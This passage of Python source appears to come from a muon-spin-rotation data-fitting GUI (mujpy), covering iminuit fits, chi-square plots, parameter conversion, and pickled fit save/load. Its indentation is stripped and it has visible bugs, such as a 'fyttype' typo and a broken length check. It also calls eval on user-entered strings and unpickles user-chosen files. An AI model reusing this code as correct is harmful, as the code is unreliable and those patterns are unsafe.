#########################################
self.ax_fit[(1,-1)].hist((y[0]-fres[0])/ey[0],xbin,weights=nufit/nu*np.ones(t.shape[1]),rwidth=0.9,fc=color,alpha=0.2)
###############################
# chi2 dist theo curve & labels
###############################
xh = np.linspace(-5.5,5.5,23)
yh = norm.cdf(xh+1)-norm.cdf(xh)
self.ax_fit[(1,-1)].plot(xh+0.5,nufit*yh,'r-')
self.ax_fit[(1,-1)].set_xlabel("$\sigma$")
self.ax_fit[(1,-1)].yaxis.set_major_formatter(ticker.NullFormatter())# set_yticklabels(['']*len(self.ax_fit[(1,-1)].get_yticks())) #
self.ax_fit[(1,-1)].set_xlim([-5.5, 5.5])
mm = round(nu/4)
hb = np.linspace(-mm,mm,2*mm+1)
cc = gammainc((hb+nu)/2,nu/2) # muchi2cdf(x,nu) = gammainc(x/2, nu/2);
lc = 1+hb[min(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
hc = 1+hb[max(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
string = 'F-B: {} - {}\n'.format(self.group[0].value,self.group[1].value)
string += r'$\alpha=$ {}'.format(self.alpha.value)
string += '\n$\chi^2_f=$ {:.4f}\n ({:.2f}-{:.2f})\n$\chi^2_c=$ {:.4f}\n{} dof\n'.format(chi2fit,lc,hc,gammainc(chi2fit,nufit),nufit)
if len(returntup)==5:
string += '$\chi^2_e=$ {:.4f}\n$\chi^2_l=$ {:.4f}'.format(chi2plot,chi2late)
else:
string += '$\chi^2_p=$ {:.4f}'.format(chi2plot)
self.ax_fit[(0,-1)].text(-4.,0.3,string)
else:
self.ax_fit[(0,0)].set_title(str(self.nrun[0])+': '+self.title.value)
########################
# chi2 distribution: fit
########################
fittup = derange(self.fit_range.value,self.histoLength) # range as tuple
fit_pack =1
if len(fittup)==3: # plot start stop pack
fit_start, fit_stop, fit_pack = fittup[0], fittup[1], fittup[2]
elif len(fittup)==2: # plot start stop
fit_start, fit_stop = fittup[0], fittup[1]
# if not self._single_ each run is a row in 2d ndarrays yfit, eyfit
# tfit,yfit,eyfit = rebin(self.time,self.asymm,[fit_start,fit_stop],fit_pack,e=self.asyme)
ychi = yM
string = 'F-B: {} - {}\n'.format(self.group[0].value,self.group[1].value)
string += r'$\alpha=$ {}'.format(self.alpha.value)
self.ax_fit[(0,-1)].text(0.03,ychi,string)
dychi = (yM-ym)/(len(pars)+2) # trying to separate chi2
ychi -= 2*dychi
for k in range(len(pars)):
#########################################
# chi2 distribution: plots, scaled to fit
#########################################
nufit,ffit,chi2fit = chi(tfit[0],yfit[k],eyfit[k],pars[k])
nu,f,chi2plot = chi(t[0],y[k],ey[k],pars[k])
mm = round(nufit/4)
hb = np.linspace(-mm,mm,2*mm+1)
cc = gammainc((hb+nu)/2,nu/2) # muchi2cdf(x,nu) = gammainc(x/2, nu/2);
lc = 1+hb[min(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
hc = 1+hb[max(list(np.where((cc<norm.cdf(1))&(cc>norm.cdf(-1))))[0])]/nufit
pedice = '_{'+str(self.nrun[k])+'}'
string = '$\chi^2'+pedice+'=$ {:.3f}'.format(chi2fit)
self.ax_fit[(0,-1)].text(0.03,ychi,string)
ychi -= dychi
self.ax_fit[(1,-1)].axis('off')
self.ax_fit[(0,-1)].set_ylim(self.ax_fit[(0,0)].get_ylim())
self.ax_fit[(0,-1)].axis('off')
self.fig_fit.canvas.manager.window.tkraise()# fig.canvas.manager.window.raise_()
P.draw()
def int2csv(k):
'''
translates nint into order numbers in the csv list, plus component number
accepts single int, np.array of int, list of int
e.g. model daml, da is nint=0, ncomp=0
in daml.1.3-4.csv the columns are
Run T1 eT1 T2 eT2 B da eda ...
0 1 2 3 4 5 6 7
int2csv(0) must return [[6,7,0]]
'''
from numpy import array
ncomp = len(self.model_components)
npar = [len(self.model_components[k]['pars']) for k in range(ncomp)]
ntot = sum(npar)
lmin = [-1]*ntot
lcomp = [-1]*ntot
nint = -1 # initialize
nmin = -1 # initialize
for k in range(ncomp): # scan the model
for j in range(npar[k]):
nint += 1 # internal parameter incremente always
if self.flag[nint].value != '=': # free or fixed par
nmin += 1
lmin[nint] = nmin # correspondence nint -> nmin
lcomp[nint] = k # correspondence nint -> ncomp
out = []
lint = array(k) # to grant its ndarray
if lint.shape: # to avoid single numbers
for k in lint:
out.append([5+2*lmin[k]+1,5+2*lmin[k]+2,lcomp[k]])
return out # ls of lists the inner list contains the indices of par and its error in the csv
def int2_int():
'''
From internal parameters to the minimal representation
for the use of mucomponents._add_.
Invoked by the iminuit initializing call,
self._the_model_._load_data_,
where self._the_model_ is an instance of mucomponents,
just before submitting minuit
'''
from mujpy.aux.aux import translate
#_components_ = [[method,[key,...,key]],...,[method,[key,...,key]]], and eval(key) produces the parmeter value
# refactor : this routine has much in common with min2int
ntot = sum([len(self.model_components[k]['pars']) for k in range(len(self.model_components))])
lmin = [-1]*ntot
nint = -1 # initialize
nmin = -1 # initialize
_int = []
for k in range(len(self.model_components)): # scan the model
name = self.model_components[k]['name']
# print('name = {}, model = {}'.format(name,self._the_model_))
bndmthd = [] if name=='da' else self._the_model_.__getattribute__(name) # this is the method to calculate a component
# to set dalpha apart
keys = []
isminuit = []
for j in range(len(self.model_components[k]['pars'])):
nint += 1 # internal parameter incremente always
if self.flag[nint].value == '=': # function is written in terms of nint
# nint must be translated into nmin
string = translate(nint,lmin,self.function)
keys.append(string) # the function will be eval-uated, eval(key) inside mucomponents
isminuit.append(False)
else:
nmin += 1
keys.append('p['+str(nmin)+']')
lmin[nmin] = nint # lmin contains the int number of the minuit parameter
isminuit.append(True)
_int.append([bndmthd,keys]) #,isminuit]) # ([component_dict,keys])
# for k in range(len(_int)):
# print(_int[k])
return _int
def int2min(return_names=False):
'''
From internal parameters to minuit parameters.
Invoked just before submitting minuit
Internal are numbered progressively according to the display:
first global parameters not belonging to components - e.g. A0, R,
such as for asymmetry1 = A0*R and asymmetry2= A0*(1.-R)
then local parameters not belonging to components - e.g. B and T
from the data file headers
then the list of components' parameters
Minuit parameters are the same, including fixed ones, but
the ones defined by functions or sharing
Each parameter requires name=value, error_name=value, fix_name=value, limits_name=value,value
[plus
the local replica of the non global component parameters
to be implemented]
New version for suite of runs
fitarg becomes a list of dictionaries
'''
ntot = sum([len(self.model_components[k]['pars']) for k in range(len(self.model_components))])
ntot -= sum([1 for k in range(ntot) if self.flag[k]=='=']) # ntot minus number of functions
fitarg = [] # list of dictionaries
parameter_names = []
##########################################
# single produces a list of one dictionary
# with keys 'par_name':guess_value,'error_par_name':step,...
# suite no global produces one dictionary per run
# furthermore, if flag == 'l', each run may have a different guess value
# suite global produces a single dictionary but has
# local, run dependent parameters, that may have flag=='l'
##########################################
if not self._global_:
for lrun in range(len(self._the_runs_)):
lmin = [-1]*ntot
nint = -1 # initialize
nmin = -1 # initialize
free = -1
fitargs= {}
for k in range(len(self.model_components)): # scan the model
component_name = self.model_components[k]['name'] # name of component
keys = []
for j, par in enumerate(self.model_components[k]['pars']): # list of dictionaries, par is a dictionary
nint += 1 # internal parameter incremented always
if self.flag[nint].value == '~': # skip functions, they are not new minuit parameter
keys.append('~')
nmin += 1
free += 1
lmin[nmin] = nint # correspondence between nmin and nint, is it useful?
fitargs.update({par['name']:float(self.parvalue[nint].value)})
if lrun==0:
parameter_names.append(par['name'])
fitargs.update({'error_'+par['name']:float(par['error'])})
if not (par['limits'][0] == 0 and par['limits'][1] == 0):
fitargs.update({'limit_'+par['name']:par['limits']})
#else: # not needed, defaut is None
# fitargs.update({'limit_'+par['name']:None})
elif self.flag[nint].value == 'l':
keys.append('~')
nmin += 1
free += 1
lmin[nmin] = nint # correspondence between nmin and nint, is it useful?
fitargs.update({par['name']:muvalue(lrun,self.function[nint].value)})
if lrun==0:
parameter_names.append(par['name'])
fitargs.update({'error_'+par['name']:float(par['error'])})
if not (par['limits'][0] == 0 and par['limits'][1] == 0):
fitargs.update({'limit_'+par['name']:par['limits']})
#else: # not needed, defaut is None
# fitargs.update({'limit_'+par['name']:None})
elif self.flag[nint].value == '!':
nmin += 1
lmin[nmin] = nint # correspondence between nmin and nint, is it useful?
fitargs.update({par['name']:float(self.parvalue[nint].value)})
if lrun==0:
parameter_names.append(par['name'])
fitargs.update({'fix_'+par['name']:True})
fitarg.append(fitargs)
self.freepars = free
else: # global
# to be done
fitarg.append(fitargs)
# print('fitargs= {}'.format(fitargs))
if return_names:
self.minuit_parameter_names = tuple(parameter_names)
return fitarg
def load_fit(b):
'''
loads fit values such that the same fit can be reproduced on the same data
'''
import dill as pickle
import os
from mujpy.aux.aux import path_file_dialog
path_and_filename = path_file_dialog(self.paths[2].value,'fit') # returns the full path and filename
if path_and_filename == '':
return
# else:
# self.console('Trying to read {}'.format(path_and_filename))
try:
with open(path_and_filename,'rb') as f:
fit_dict = pickle.load(f)
try:
del self._the_model_
self.fitargs = []
except:
pass
model.value = fit_dict['model.value']
self.fit(model.value) # re-initialize the tab with a new model
self.version.value = fit_dict['version']
self.offset.value = fit_dict['self.offset.value']
self.model_components = fit_dict['self.model_components']
self.grouping = fit_dict['self.grouping']
set_group()
self.alpha.value = fit_dict['self.alpha.value']
# self.alphavalue = float(self.alpha.value)
self.offset.value = fit_dict['self.offset.value']
nint = fit_dict['nint']
self.fit_range.value = fit_dict['self.fit_range.value']
self.plot_range.value = fit_dict['self.plot_range.value'] # keys
for k in range(nint+1):
self.parvalue[k].value = fit_dict['_parvalue['+str(k)+']']
self.flag[k].value = fit_dict['_flag['+str(k)+ ']']
self.function[k].value = fit_dict['_function['+str(k)+']']
self.fitargs = fit_dict['self.fitargs']
self.load_handle.value = fit_dict['self.load_handle.value']
except Exception as e:
self.console('Problems with reading {} file\n\nException: {}'.format(path_and_filename,e))
def min2int(fitargs):
'''
From minuit parameters to internal parameters,
see int2min for a description
Invoked just after minuit convergence for save_fit, [on_update]
'''
# refactor : this routine has much in common with int2_int
# initialize
from mujpy.aux.aux import translate
ntot = sum([len(self.model_components[k]['pars']) for k in range(len(self.model_components))])
parvalue = []
lmin = [-1]*ntot
p = [0.0]*ntot
nint = -1
nmin = -1
for k in range(len(self.model_components)): # scan the model
keys = []
for j, par in enumerate(self.model_components[k]['pars']): # list of dictionaries, par is a dictionary
nint += 1 # internal parameter incremented always
if self.flag[nint].value != '=': # skip functions, they are not new minuit parameter
nmin += 1
p[nmin] = fitargs[par['name']] # needed also by functions
parvalue.append('{:4f}'.format(p[nmin])) # parvalue item is a string
lmin[nint] = nmin # number of minuit parameter
else: # functions, calculate as such
# nint must be translated into nmin
string = translate(nint,lmin,self.function) #
parvalue.append('{:4f}'.format(eval(string))) # parvalue item is a string
return parvalue
def min2print(fitargs):
'''
From minuit parameters to plain print in console,
see int2min for a description
Invoked just after minuit convergence for output
'''
# refactor : this routine has much in common with int2_int
# initialize
from mujpy.aux.aux import translate, translate_nint, value_error
ntot = sum([len(self.model_components[k]['pars']) for k in range(len(self.model_components))])
_parvalue = []
lmin = [-1]*ntot
p = [0.0]*ntot
e = [0.0]*ntot
nint = -1
nmin = -1
self.console('*****************************************************')
for k in range(len(self.model_components)): # scan the model
keys = []
for j, par in enumerate(self.model_components[k]['pars']): # list of dictionaries, par is a dictionary
nint += 1 # internal parameter incremented always
if self.flag[nint].value != '=': # skip functions, they are not new minuit parameter
nmin += 1
string = ' {}-{} = {}'.format(nmin,par['name'],
value_error(fitargs[par['name']],fitargs['error_'+par['name']]))
self.console(string,end='') # needed also by functions
p[nmin] = fitargs[par['name']] # needed also by functions
lmin[nint] = nmin # number of minuit parameter
e[nmin] = fitargs['error_'+par['name']]
else: # functions, calculate as such
# nint must be translated into nmin
string = translate(nint,lmin,self.function) #
stringe = string.replace('p','e')
nfix = translate_nint(nint,lmin,self.function)
stringa = '{}-{} = {}'.format(nfix,par['name'],value_error(eval(string),eval(stringe)))
self.console(stringa,end='') # needed also by functions
self.console('')
return
def on_alpha_changed(change):
'''
observe response of fit tab widgets:
validate float
'''
string = change['owner'].value # description is three chars ('val','fun','flg') followed by an integer nint
# iterable in range(ntot), total number of internal parameters
try:
float(string) # self.alphavalue =
except:
change['owner'].value = alpha0 # a string
# def on_anim_check(change):
# '''
# toggles multiplot and animations for suite fit
# no effect on single run fit
# '''
# if change['owner'].value:
# change['owner'].value=False
# else:
# change['owner'].value=True
def on_fit_request(b):
'''
this is the entry to iminuit and fitplot (plot and log method) triggered by Fit Button
retrieve data from the gui dashboard:
self.alpha.value, range and pack with derange
int2min obtains parameters values (parvalue[nint].value), flags (flag[nint].value),
errors, limits, functions (function[nint].value) in the dictionary format used by iminuit
wrapped inside a list, to allow suite fits of more runs
pass _int, generated by int2_int. to mumodel._add_ (distribute minuit parameters)
obtain fitargs dictionary, needed by migrad, either from self.fitargs or from min2int
pass them to minuit
call fit_plot
save fit file in save_fit
write summary in write_csv
'''
from iminuit import Minuit as M
from mujpy.aux.aux import derange, rebin, get_title, chi2std
# from time import localtime, strftime
###################
# error: no run yet
###################
if not self._the_runs_:
self.console('No run loaded yet! Load one first (select suite tab).')
else:
###################
# run loaded
###################
self.asymmetry() # prepare asymmetry
# self.time is 1D asymm, asyme can
pack = 1 # initialize default
returntup = derange(eval('self.fit_range.value'),self.histoLength)
# self.console('values = {}'.format(returntup)) # debug
if len(returntup)==3: #
start, stop, pack = returntup
elif len(returntup)==0:
self.console('Empty ranges. Choose fit/plot range')
else:
start, stop = returntup
time,asymm,asyme = rebin(self.time,self.asymm,[start,stop],pack,e=self.asyme)
level = 0 # 0 (quiet),1,2
pedantic = True # False, True (warns about parameters value error/stepsize not initialized).
self.fitargs = []
fitarg = int2min(return_names=True) # from dash, in v. 1.0 it is a list of dictionaries of (guess) values [{},{}], one per run]
# self.console('start parameters:\n{}'.format(fitarg))
if self._global_: # this is not implemented in v. 1.0
self._the_model_._load_data_(time[0],asymm,int2_int(),
float(self.alpha.value),e=asyme,
_nglobal_=self.nglobals,_locals_=self.locals) # pass all data to model
############################## int2_int() returns a list of methods to calculate the components
# actual global migrad call
lastfit = M(self._the_model_._chisquare_,
pedantic=pedantic,
forced_parameters=self.minuit_parameter_names,
errordef=M.LEAST_SQUARES,
print_level=level,**fitarg[0])
# self.console('{} *****'.format([self.nrun[k] for k in range(len(self.nrun))]))
lastfit.migrad()
lastfit.hesse()
self.fitargs.append(lastfit.fitarg)
min2print(lastfit.fitarg)
# lastfit[0].hesse()
##############################
else: # this is implemented in v. 1.0
# self.console('_single is {}'.format(self._single_)) # debug
if self._single_: # works fine
self._the_model_._load_data_(time[0],asymm[0],int2_int(),
float(self.alpha.value),
e=asyme[0])
# pass data to model, one at a time
############################## int2_int() returns a list of methods to calculate the components
# actual single migrad calls
lastfit = M(self._the_model_._chisquare_,
pedantic=pedantic,
forced_parameters=self.minuit_parameter_names,
errordef=M.LEAST_SQUARES,
print_level=level,**fitarg[0])
lastfit.migrad()
lastfit.hesse()
if lastfit.migrad_ok():
self.fitargs.append(lastfit.fitarg) # for a single fit self.fitargs is a list of dicts
nu = len(time[0]) - self.freepars # degrees of freedom in plot
# self.freepars is calculated in int2min
chi2 = lastfit.fval/nu
# self.console('{}: {} ***** chi2 = {:.3f} ***** {}'.format(self.nrun[0],get_title(self._the_runs_[0][0]),chi2,strftime("%d %b %Y %H:%M:%S", localtime())))
min2print(lastfit.fitarg)
lc,hc = chi2std(nu)
pathfitfile = save_fit(0) # saves .fit file
if pathfitfile.__len__ != 2:
# assume pathfitfile is a path string, whose length will be definitely > 2
self.console('chi2r = {:.3f} ({:.3f} - {:.3f}) on {:.3f}-{:.3f} mus, saved in {}'.format(chi2,lc,hc,time[0][0],time[0][-1],pathfitfile))
else:
# assume pathfitfile is a tuple containing (path, exception)
self.console('Could not save results in {}, error: {}'.format(pathfitfile[0],pathfitfile[1]))
write_csv(chi2fit,lc,hc,0) # writes csv file
self.console('*****************************************************')
else:
self.console('Fit not converged')
else: # suites
migrad_ok = True
for k in range(len(self._the_runs_)): # loop over runs
self._the_model_._load_data_(time[0],asymm[k],int2_int(),
float(self.alpha.value),
e=asyme[k])
# pass data to model, one run at a time
############################## int2_int() returns a list of methods to calculate the components
# actual single migrad calls
# self.console('just before calling iminuit')
lastfit = M(self._the_model_._chisquare_,
pedantic=pedantic,
forced_parameters=self.minuit_parameter_names,
errordef=M.LEAST_SQUARES,
print_level=level,**fitarg[k])
# self.console('start parameters:\n{}'.format(lastfit.values)) # debug
# self.console('***********\nfitarg[{}] = {}'.format(k,lastfit.fitarg))
# self.console('values = {}, nmin = {}, free = {}'.format(lastfit.values,
# lastfit.narg,lastfit.nfit))
lastfit.migrad()
lastfit.hesse()
if not lastfit.migrad_ok():
migrad_ok = False
self.fitargs.append(lastfit.fitarg) # each run fit added as a list, in a list of lists
nu = len(time[0]) - self.freepars # degrees of freedom in plot
# self.freepars is calculated in int2min
chi2 = lastfit.fval/nu
# self.console('{}: {} ***** chi2 = {:.3f} ***** {}'.format(self.nrun[k],get_title(self._the_runs_[k][0]),chi2,strftime("%d %b %Y %H:%M:%S", localtime())))
if k==0:
self.console('Fit on time interval ({:.3f},{:.3f}) mus'.format(time[0][0],time[0][-1]))
min2print(lastfit.fitarg)
lc,hc = chi2std(nu)
pathfitfile = save_fit(k) # saves .fit file
if pathfitfile.__len__ != 2:
# assume pathfitfile is a path string, whose length will be definitely > 2
self.console('chi2r = {:.4f} ({:.4f} - {:.4f}), saved in {}'.format(chi2,lc,hc,pathfitfile))
else:
# assume pathfitfile is a tuple containing (path, exception)
self.console('Could not save results in {}, error: {}'.format(pathfitfile[0],pathfitfile[1]))
write_csv(chi2,lc,hc,k) # writes csv file
##############################
self.console('*****************************************************')
if not migrad_ok:
self.console('* CHECK: some fits did not converge!\n*****************************************************')
fitplot() # plot the best fit results
# string = 'Time last = {:.2e}, A[0] = {:.2f}, alpha = {:.3f}'.format(self._the_model_._x_[-1],self._themodel_._y_[0],self._the_model_._alpha_) # debug
# self.console(string)
def on_flag_changed(change):
'''
observe response of fit tab widgets:
set disabled on corresponding function (True if flag=='!' or '~', False if flag=='=')
'''
dscr = change['owner'].description # description is three chars ('val','fun','flg') followed by an integer nint
# iterable in range(ntot), total number of internal parameters
n = int(dscr[4:]) # description='flag'+str(nint), skip 'flag'
self.function[n].disabled=False if change['new']=='=' else True
def on_function_changed(change):
'''
observe response of fit tab widgets:
check for validity of function syntax
'''
from mujpy.aux.aux import muvalid
dscr = change['owner'].description # description is three chars ('val','fun','flg') followed by an integer nint
# iterable in range(ntot), total number of internal parameters
n = int(dscr[4:]) # description='func'+str(nint), skip 'func'
error_message = muvalid(change['new'])
if error_message!='':
self.function[n].value = ''
self.console(error_message)
def on_group_changed(change):
'''
observe response of setup tab widgets:
'''
from mujpy.aux.aux import get_grouping
name = change['owner'].description
groups = ['forward','backward']
# now parse groupcsv shorthand
self.grouping[name] = get_grouping(self.group[groups.index(name)].value) # stores self.group shorthand in self.grouping dict, grouping is the python based address of the counters
# self.console('Group {} -> grouping {}'.format(self.group[groups.index(name)].value, get_grouping(self.group[groups.index(name)].value))) # debug
if self.grouping[name][0]==-1:
self.console('Wrong group syntax: {}'.format(self.group[groups.index(name)].value))
self.group[groups.index(name)].value = ''
self.grouping[name] = np.array([])
else:
self.get_totals()
def on_integer(change):
name = change['owner'].description
if name == 'offset':
if self.offset.value<0: # must be positive
self.offset.value = self.offset0 # standard value
def on_load_model(change):
'''
observe response of fit tab widgets:
check that change['new'] is a valid model
relaunch MuJPy.fit(change['new'])
'''
if checkvalidmodel(change['new']): # empty list is False, non empty list is True
try:
del self._the_model_
self.fitargs=[] # so that plot understands that ther is no previous minimization
model.value = loadmodel.value
except:
pass
self.fit(change['new']) # restart the gui with a new model
self.mainwindow.selected_index = 0
else:
loadmodel.value=''
def on_parvalue_changed(change):
'''
observe response of fit tab widgets:
check for validity of function syntax
'''
dscr = change['owner'].description # description is three chars ('val','fun','flg') followed by an integer nint
# iterable in range(ntot), total number of internal parameters
n = int(dscr[5:]) # description='value'+str(nint), skip 'func'
try:
float(self.parvalue[n].value)
self.parvalue[n].background_color = "white"
except:
self.parvalue[n].value = '0.0'
self.parvalue[n].background_color = "mistyrose"
def on_plot_par(change):
'''
plot par wrapper
'''
string = change.description
plotpar(x=string[9]) # 'B' or 'T'
def on_plot_request(b):
'''
plot wrapper
'''
if not guesscheck.value and not self._the_model_._alpha_:
self.console('No best fit yet, to plot the guess function tick the checkbox')
else:
fitplot(guess=guesscheck.value,plot=True) #
def on_range(change):
'''
observe response of FIT, PLOT range widgets:
check for validity of function syntax
'''
from mujpy.aux.aux import derange
fit_or_plot = change['owner'].description[0] # description is a long sentence starting with 'fit range' or 'plot range'
if fit_or_plot=='f':
name = 'fit'
else:
name = 'plot'
returnedtup = derange(change['owner'].value,self.histoLength)
# print('sum = {}'.format(sum(returnedtup)))
if sum(returnedtup)<0: # errors return (-1,-1), good values are all positive
# go back to defaults
if name == 'fit':
self.fit_range.value = '0,'+str(self.histoLength)
self.fit_range.background_color = "mistyrose"
else:
self.plot_range.value = self.plot_range0
self.plot_range.background_color = "mistyrose"
else:
if name == 'fit':
self.fit_range.background_color = "white"
if len(returnedtup)==5:
if returnedtup[4]>self.histoLength:
change['owner'].value=str(returnedtup[:-1],self.histoLength)
if returnedtup[1]>self.histoLength:
change['owner'].value=str(returnedtup[0],self.histoLength) if len(returnedtup)==2 else str(returnedtup[0],self.histoLength,returnedtup[2:])
else:
self.plot_range.background_color = "white"
if returnedtup[1]>self.histoLength:
change['owner'].value=str(returnedtup[0],self.histoLength) if len(returnedtup)==2 else str(returnedtup[0],self.histoLength,returnedtup[2])
def on_start_stop(change):
'''
toggle start stop animation of suite fits
'''
if anim_check.value and not self._single_:
if change['owner'].value:
self.anim_fit.event_source.start()
else:
self.anim_fit.event_source.stop()
def on_update(b):
'''
update parvalue[k].value with last best fit results
'''
if self.fitargs:
parvalue = min2int(self.fitargs[0]) # best fit parameters (strings)
for k in range(len(_parvalue)):
self.parvalue[k].value = parvalue[k]
def print_nint(self):
'''
debug, delete me
'''
print(nint)
def plotpar(x='X'):
'''
plots parameters that have plotflag set to an integer 0<n<7
x is 'T' or 'B'
'''
from mujpy.aux.aux import plot_parameters, component, get_title
import os
from numpy import array
import matplotlib.pyplot as P
min2csv = lambda k: 2*k+6 # min2csv( kmin) returns the parameter column in the csv file
# matplotlib initialization will provide same color for same component
colors = P.rcParams['axes.prop_cycle'].by_key()['color']
markers = ['o','d','^','V']
nsubplots, lmin, lcomp, kminplot = [], [], [], [] # initialize service lists
ylabels = [1]*6 # max number of labels
kmin = -1
# first loop, the second will be on
# parameters with plotflag, find them from dash with kint iterator
# kmin is their minuit index
# if plotflag <0 or excees 6 warning on console
for kint in range(nint+1): # start from the dashboard parameters
# discover which component it is (for color coherence)
kcomp = component(self.model_components,kint) # aux method returns index of component
# that kint belongs to
if self.flag[kint]!='=': # this is a minuit parameter
kmin += 1 # count again minuit parameters (all but '=')
lmin.append(kint) # stored replica for finding kint from kmin
if self.plotflag[kint].value>0 and self.plotflag[kint].value<=6:
# legal subplot (this is also a syntax checker).
# hence this minuit parameter must be plotted
kminplot.append(kmin) # store which kmin (for a plotted parameters iteration)
nsub = self.plotflag[kint].value - 1 # which axis pythonized
nsubplots.append(nsub) # store in which axis, pythonic
lcomp.append(kcomp) # to remember which component kmin belongs to
if not isinstance(ylabels[nsub],str): # skip if ylabel already allocated
ylabels[nsub] = self.parname[kint].value[:-1].capitalize() # name without A,B,C,...
# ylabel: minuit pars, parname: dashboard parameters
if ylabels[nsub][-4:]=='rate': ylabels[nsub]+=' [mus-1]'
if ylabels[nsub][-4:]=='hase': ylabels[nsub]+=' [deg]'
if ylabels[nsub][-4:]=='ield': ylabels[nsub]+=' [mT]'
elif self.plotflag[k].value<0 or self.plotflag[k].value>6: # excluded, issue Warning
self.console('Warning: Parameter {} plot flag, {}, must be 0<=n<=6'.format
(self.parname[k].value,self.plotflag[k].value))
if nsubplots:
nsubs = int(array(nsubplots).max())+1 # effective subplots (nsubplots is 3 for flag 4)
else:
self.console('No plots requested: get fit results and select Panels')
return
nmin = kmin +1 # number of minuit parameters
# create dictionary labels, for plot_parameters (organizing subplots layout)
# the sample title
# the xlabel
# the ylabels from self.parname ù
if x=='T':
xlab = x+' [K]'
title = get_title(self._the_runs_[0][0],notemp=True)
elif x=='B':
xlab = x+' [mT]'
title = get_title(self._the_runs_[0][0],nofield=True)
else:
xlab = 'index'
title = get_title(self._the_runs_[0][0])
labels ={'xlabel':xlab,
'title':title}
labels['ylabels'] = ylabels # list of yaxis labels
try:
self.fig_pars.clf()
self.fig_pars, ax = plot_parameters(nsubs,labels,self.fig_pars)
except:
self.fig_pars, ax = plot_parameters(nsubs,labels) # default fig=None
# # conversion from dashboard index kint (the first box in the dash) to minuit index kmin
# # (which governs the csv output, with 6 initial places, run T1 eT1 T2 eT2 B)
# # the parameter in the csv is at position kp = 5 + 2*kmin+1 (6, 8, ... pythonic!)
# kpec = int2csv(lmin) # list of lists e.g. mgmg with common field and phases
# # [[6,7,0],[8,9,0],[10,11,0]],[12,13,0],
# # [14,15,1],[16,17,1],[18,19,1],[20,21,1]]
# kpar, kepar, kcomp =
# retrieve minuit parameters value and error list from .csv
# path_csv is as in write_csv
version = str(self.version.value)
strgrp = self.group[0].value.replace(',','_')+'-'+self.group[1].value.replace(',','_')
path_csv = os.path.join(self.paths[2].value,model.value+'.'+version+'.'+strgrp+'.csv')
p = np.genfromtxt(path_csv,comments='R')
tb = p[:,1] if x=='T' else p[:,5] if x=='B' else np.arange(p.shape[0])
etb = p[:,2] if x=='T' else np.zeros(p.shape[0])
# nsubplots and lint are those to be plotted, but we must translate to minuit parameters by int2csv
for kmp in range(len(kminplot)): # do plotted parameters scan
kmin = kminplot[kmp] # which minuit parameter is this
kcsv = min2csv(kmin) # column of minuit par in p
kcomp = lcomp[kmp] # component of kmin parameter
l = nsubplots[kmp] # plotflags are not pythonic (start from 1)
ax[l].errorbar(tb,p[:,kcsv],yerr=p[:,kcsv+1],xerr=etb,fmt=markers[kcomp],color=colors[kcomp])
if nsubs==5: ax[5].axis('off') # the last of 6
for l in range(nsubs):
if ax[l].get_ylabel()=='1':
ax[l].axis('off')
ym,yM = ax[l].get_ylim()
if ym>0:
ax[l].set_ylim(0.,yM)
if nsubs==2:
if ax[0].axison: P.setp(ax[0].get_yticklabels()[0], visible=False)
elif nsubs==3:
if ax[0].axison: P.setp(ax[0].get_yticklabels()[0], visible=False)
if ax[1].axison: P.setp(ax[1].get_yticklabels()[0], visible=False)
elif nsubs==4:
if ax[0].axison: P.setp(ax[0].get_yticklabels()[0], visible=False)
if ax[2].axison: P.setp(ax[2].get_yticklabels()[0], visible=False)
else: # 6
if ax[0].axison: P.setp(ax[0].get_yticklabels()[0], visible=False)
if ax[1].axison: P.setp(ax[1].get_yticklabels()[0], visible=False)
if ax[3].axison: P.setp(ax[3].get_yticklabels()[0], visible=False)
if ax[4].axison: P.setp(ax[4].get_yticklabels()[0], visible=False)
self.fig_pars.canvas.manager.window.tkraise()
P.draw()
def save_fit(k):
'''
saves fit values such that load_fit can reproduce the same fit
includes fit of suite of runs and global fits
'''
import dill as pickle
import os
version = str(self.version.value)
fittype = '' # single run fit
if self._global_: # global fit of run suite
fittype = '.G.'
elif not self._single_: # sequential fit of run suite
fyttype = '.S.'
strgrp = self.group[0].value.replace(',','_')+'-'+self.group[1].value.replace(',','_')
path_fit = os.path.join(self.paths[2].value,model.value+'.'+version+fittype+'.'+str(self.nrun[k])+'.'+strgrp+'.fit')
# create dictionary setup_dict to be pickled
# the inclusion of self.load_handle will reload the data upon load_fit (?)
names = ['self.alpha.value','self.offset.value',
'self.grouping','model.value',
'self.model_components','self.load_handle.value',
'version','nint',
'self.fit_range.value','self.plot_range.value',
'self.fitargs','self._global_','self._single_'] # keys
fit_dict = {}
for k,key in enumerate(names):
fit_dict[names[k]] = eval(key) # key:value
_parvalue = min2int(self.fitargs[0]) # starting values from first bestfit
for k in range(nint+1):
fit_dict['_parvalue['+str(k)+']'] = _parvalue[k] # either fit or dashboard
fit_dict['_flag['+str(k)+ ']'] = self.flag[k].value # from fit tab
fit_dict['_function['+str(k)+']'] = self.function[k].value # from fit tab
with open(path_fit,'wb') as f:
try:
# print ('dictionary to be saved: fit_dict = {}'.format(fit_dict))
pickle.dump(fit_dict, f)
except Exception as e:
return path_fit, e
return path_fit
def set_group():
"""
return shorthand csv out of grouping
name = 'forward' or 'backward'
grouping[name] is an np.array wth counter indices
group.value[k] for k=0,1 is a shorthand csv like '1:3,5' or '1,3,5' etc.
"""
import numpy as np
# two shorthands: either a list, comma separated, such as 1,3,5,6
# or a pair of integers, separated by a colon, such as 1:3 = 1,2,3
# only one column is allowed, but 1, 3, 5 , 7:9 = 1, 3, 5, 7, 8, 9
# or 1:3,5,7 = 1,2,3,5,7 are also valid
# get the shorthand from the gui Text
groups = ['forward','backward']
for k, name in enumerate(groups):
s = ''
aux = np.split(self.grouping[name],np.where(np.diff(self.grouping[name]) != 1)[0]+1)
# this finds the gaps in the array,
# e.g. 1,2,0,3 yields [array([1,2]),array([0]),array([3])]
for j in aux:
s += str(j[0]+1) # e.g '2', convention is from 1, python is from 0
if len(j)>1:
s += ':'+str(j[-1]+1) # e.g. '2:3'
s += ','
s = s[:-1] # remove last ','
self.group[k].value = s
def write_csv(chi2,lowchi2,hichi2,k):
'''
writes a csv-like file of best fit parameters
that can be imported by qtiplot
or read by python to produce figures::
refactored for adding runs
and for writing one line per run
in run suite, both local and global
do not use csv, in order to control format (precision)
'''
import os
from mujpy.aux.aux import get_title, spec_prec
from time import localtime, strftime
